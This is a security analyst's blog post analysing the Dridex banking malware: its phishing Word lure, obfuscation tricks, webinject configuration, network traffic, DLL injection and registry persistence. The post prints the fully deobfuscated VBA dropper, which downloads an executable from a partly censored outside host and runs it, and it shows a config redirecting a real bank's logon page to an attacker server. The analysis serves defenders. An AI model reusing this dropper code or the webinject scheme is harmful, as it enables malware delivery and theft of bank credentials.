Posted by Felix Weyne, March 2016.
Author contact: Twitter | LinkedIn
Tags: banking malware, Dridex, macro Word dropper, malware analysis

In today’s blog post I'll be talking about Dridex. For those who are not familiar with it: Dridex is malware that is mostly distributed via phishing mails with malicious attachments. The purpose of Dridex is to steal information that is submitted to an online banking application. The information that is stolen from a victim mostly includes credit card numbers and authentication codes, as well as the victim’s contact details. This information is used to defraud the victim at a later stage. The ultimate goal is to steal money from the victim.

Below I'll discuss how the victim is tricked into downloading the malware, as well as how Dridex works from a technical point of view.

The infection chain

Dridex is mostly distributed via (Microsoft) Word documents which contain pieces of executable code, called macros. The Word documents are sent to the victim in a phishing email. The phishing email urges the victim to open the attached malicious Word document. A typical way to convince the victim to open such a document is to make a reference to a so called "unpaid bill" in the subject line of the email.

When the victim opens the Word document, a malicious executable is downloaded to the temporary directory of the victims PC. This malicious executable -called the Dridex loader- acts as a dropper, and downloads a malicious Dynamic Linked Library (DLL), the Dridex worker.

The Dridex worker is the last step in the infection chain. Its job is to steal sensitive information from the victim’s PC and send it to the back-end server that belongs to the actors behind Dridex.

Image 1: Dridex infection chain. Source: TrendMicro.

Malicious mail attachment

The malicious Word document contains obfuscated Visual Basic Application (VBA) code that, when enabled, downloads the Dridex malware. Because of a security restriction in Microsoft Office, the VBA code will not be executed by default. However, the user can be persuaded to disable this restriction by clicking on the "enable content" button in Microsoft Word.

Below an example is shown of a malicious Dridex dropper that persuades the user to enable macros.

Image 2: example of a malicious Office document that is sent to the victim.

When we take a closer look at the VBA code, we can clearly see it is heavily obfuscated. This means that the code needlessly contains complex constructs, in order to make it more difficult for antivirus software to detect the code’s malicious nature. Obfuscated code also slows down the security analysts that are trying to identify the goal of the malicious code. One of the methods to obfuscate the code is to hide strings into form labels. Below a piece of obfuscated code is shown.

Image 3: obfuscated VBA code inside the malicious Office document.

The object with variable name "disko_dance_dance_1" (what's in a name?!) is used to download an executable (the Dridex loader). The object’s type (XMLHTTP) is defined in a form label (in my analyzed Word sample: form label 1). The first parameter of the XMLHTTP object’s OPEN method (GET) is also defined in a form label (in my analyzed Word sample: form label 5).

The deobfuscated code snippet results in: "CreateObject(Microsoft.XMLHTTP).Open GET,URL,False". The fully deobfuscated code of the malicious document is as follows:

'--------------------- Download Dridex loader --------------------
dim httpRequest: Set httpRequest = createobject("Microsoft.XMLHTTP") 
dim dropperStream: Set dropperStream = createobject("Adodb.Stream") 
httpRequest.Open "GET", "http://web2.*censored*.tw/45gt454h", False
httpRequest.Send 

'------------------ Write Dridex loader on disk ------------------
Set processEnv = 
WScript.CreateObject("WScript.Shell").Environment("Process") 
tempDir = processEnv("TEMP") 
exePath = tempDir +\Templabel8.exe  
with dropperStream 
	.type = 1  
	.open 
	.write httpRequest.responseBody 
	.savetofile exePath, 2  
end with 
'--------------------- Launch Dridex loader ---------------------
Set dropper = CreateObject ( Shell.Application ) 
dropper.Open exePath 

Webinject on e-banking sites

When Dridex runs for the first time, it connects to the command and control (C&C) server of the attackers to receive a configuration file. This configuration file is an XML structured file that contains a bunch of instructions to be performed by the infected PC.

One of those instructions is to inject (JavaScript) code into the browser when visiting legitimate banking websites. An example of a truncated configuration file can be found below. This truncated configuration file contains the following information:

*a hash value to avoid tampering with the configuration file
*the heartbeat frequency. The infected PC will send a signal every x seconds to the C&C server to indicate that the infected PC is still 'alive' and running.
*a lists of banking websites. For each website a server is defined where the to be injected code can be found.

<?xml version="1.0" encoding="UTF-8"?>
<root>
   <settings hash="e60ea7ac71d021dfecab8f39be60dc5903b05693">
      <bot_tick_interval>900</bot_tick_interval>
      <node_tick_interval>300</node_tick_interval>
      *TRUNCATED*
      <redirects>
         <redirect name="halifaxpers_redirect" 
            uri="https://203.158.193.7:843/halifaxpers_logon/">
            https://www.halifax-online.co.uk/personal/logon/
         </redirect>
      </redirects>
      *TRUNCATED*
   </settings>
</root>

The injected code redirects the user input on the banking website from the legitimate banking website to the attacker's server. The injected code also adds additional pages that are shown to the user when he logs on to the banking application. Those webpages ask for sensitive information such as the victim’s memorable information and his telephone number.

Legitimate banking websites never ask for such kind of information. The entered phone number is used by the cybercriminals to call the victim, claiming that "the bank" noticed a so-called "problem with his account". The cybercriminals have a big advantage to earn the victim’s trust because they possess sensitive information that the victim has entered in the banking application before.

A victim may realize that the caller isn’t a legitimate banking employee, but it’s nearly impossible for the victim to detect that Dridex has tampered with the banking site (and his PC). This is because the victim sees a normal browser window that displays a secure connection with the legitimate banking site. Below two screenshots of injected webpages which are presented to the victim are shown.

Image 4: injected webpage on halifaxonline.co.uk

Image 5: injected webpage on halifaxonline.co.uk

Signs of infection

I'll end this post by describing how Dridex communicates with its backend and how it tries to hide itself on the system.

Network

When Dridex launches for the first time, it tries to connect to a list of C&C servers. In my case the C&C server had the IP address 194.58.92.2. The communication (over TCP, port 643) was encrypted with what I suspect to be the RC4 cipher.

When I visited a banking website that was defined in the configuration file (halifax-online.co.uk), Dridex loaded the to be injected code from a server with the IP 203.158.193.7. This IP can also be found in the configuration file, as shown in the previous paragraph.

Image 6: observed network traffic by Dridex

DLL injection

The Dridex worker is a Dynamic Linked Library (DLL) file that stores itself in the user's APPDATA folder (c:\Users\*Username*\Appdata\Roaming\*Random filename*.tmp). A DLL is a file that contains application logic (programming code) that is meant to be shared between multiple applications. By separating the application logic into a separate file, it is easier for other applications to access the common pieces of application logic. Unlike an executable, a user can not directly execute a DLL. Windows however provides the ability to launch functionality stored in shared DLL files with the aptly named runDLL32 executable.

When the computer boots, the Dridex worker DLL injects itself into the explorer.exe process. This way, it is harder for the user to detect the Dridex worker, because it doesn't have its own process. After being injected in explorer.exe, the DLL hooks itself into the browser and system functions. This way, it can spy on keylog strokes, inject code into the browser, etc.

Registry

The Dridex worker has a lot more sneaky tricks to hide itself. Another one of those tricks is to hide its persistency on the machine. The Dridex worker automatically boots with the system by adding a registry key under the "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" path. Once the Dridex worker is started, it deletes its own persistency key from the registry. By doing that, a user can't spot a persistency registry entry while the machine is running. When the user shuts down its machine, the Dridex worker re-adds its persistency key, so it gets loaded the next time the PC is booted. The persistency mechanism is lost when the PC performs a "hard shutdown" (i.e. by cutting the power), because the Dridex worker cannot detect such a shutdown event.

Below two printscreens of the registry view of the "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" path can be found. When the machine is booted into safe mode, the Dridex worker (loaded by the rundll32.exe process) will not be started. Since the worker cannot be started, it doesn't have the chance to delete its persistency key. When the machine is booted normally, no persistency key can be found, because the Dridex worker has removed its own persistency. Of course, this persistency will be readded when the machine is shutdown in a normal fashion.

Image 7: Dridex' persistency tricks

Sources

VirusTotal: binary/Office Dridex samples (use search term "Dridex")
In-depth analysis of a Dridex malware dropper: background information (Note: a bit outdated, some tactics have changed).